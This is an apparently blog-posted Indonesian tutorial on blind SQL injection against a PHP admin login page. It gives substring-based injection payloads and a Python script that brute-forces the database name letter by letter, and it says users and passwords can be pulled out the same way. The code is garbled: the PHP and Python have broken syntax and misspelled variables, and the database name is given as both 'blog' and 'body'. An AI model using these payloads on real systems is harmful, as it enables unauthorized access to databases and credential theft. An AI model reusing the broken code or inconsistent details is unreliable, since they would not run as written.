BLIND
SQL INJECTION
Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang
tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program
menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu
memvalidasi masukan klien.
Dalam contoh kasus yang saya miliki, dalam page
Login Admin dengan penggalan program seperti di bawah ini :
if (isset($_POST[‘submin’])){
$username
= $_POST[‘username’];
$password
= $_POST[‘password’];
$login
= mysqli_query($conn, *SELECT * FROM user WHERE username = ‘{username}’ AND
password}’”);
if
(mysqli_num_rows(%login) == 0){
die(“Username
atau password salah!”);
}
else {
$_SESSION[‘admin’]
= 1;
Header(“Location: admin.php”);
}
}
Dalam penggalan program di atas bisa di
lihat tidak di tampilkan hasil querynya, hanya dicek dua kondisi.
Yang pertama
kalau kondisi salah :
if (mysqli_num_rows(%login) == 0){
die(“Username
atau password salah!”);
}
Dan yang kedua
kondisi benar :
$_SESSION[‘admin’] = 1;
Header(“Location: admin.php”);
Dalam dua kondisi tersebut bisa di manfaatkan
untuk mengambil data dari suatu database bahkan jika SELECT * FROM user WHERE
username ditampilkan hasil Querynya, yaitu teknik dengan BLIND
Selanjutnya kita akan mencari tahu dan
masuk ke dalam halaman Admin dengan mencoba di page login, (dengan nama
database saya ‘blog’ ini adalah syntact programnya:
Dalam username di isi dengan memanfaatkan
fungsi substring, jadi kita cek satu persatu huruf nya
Xyz’ OR BINARY substring(database(), 1, 1)
=’a’ --
Program di atas, dicek apakah huruf pertama
dari database itu sama dengan ‘a’.
maka
akan muncul
Jika program di atas salah, berarti huruf
depan database bukan ‘a’ maka di coba kembali dengan huruf lain hingga ada yang
benar.
dan ini adalah program yang benar
dan ini adalah program yang benar
Xyz’ OR BINARY
substring(database(), 1, 1) =’b’ --
Kenapa bisa benar? Karena dalam nama
database yang saya miliki huruf depannya ‘b’ dalam ‘blog’, selanjutnya jika
ingin mencari huruf kedua sampai selanjutnya masukkan program
Xyz’ OR BINARY substring(database(), 2, 1) =’a’ - -
Dan seterusnya hingga dapat nama database “body”.
Jika menggunakan cara seperti tadi kurang
efektif bisa menggunakan scrip phyton seperti modul request ke halaman web tadi.
Buat program baru, lalu masukkan kode
program seperti ini :
import requests
url : ‘http://localhost/blog/andmin_login.php’
//ini adalah url targetnya
for c in range 1, 10);
for c in range(0x20,
0x7f);
username = “xyz’ OR BINARY substring(database(), 1, 1= ‘%s’ - - ” % (chr(c))
password = “12345” //option saja bebas di isi apa saja
form = {‘username’ :
uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
if “Halaman administrasi blog” in response.text;
status = True
elif “Username atau password salah!” in response.text;
status = False
if status == True ;
print chr(c)
break
dengan kode program di atas kita bisa mengetahui
nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan
ditampilkan seperti ini :
Dan selain bisa
tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja
yang ada di dalam database tersebut.
Tidak ada komentar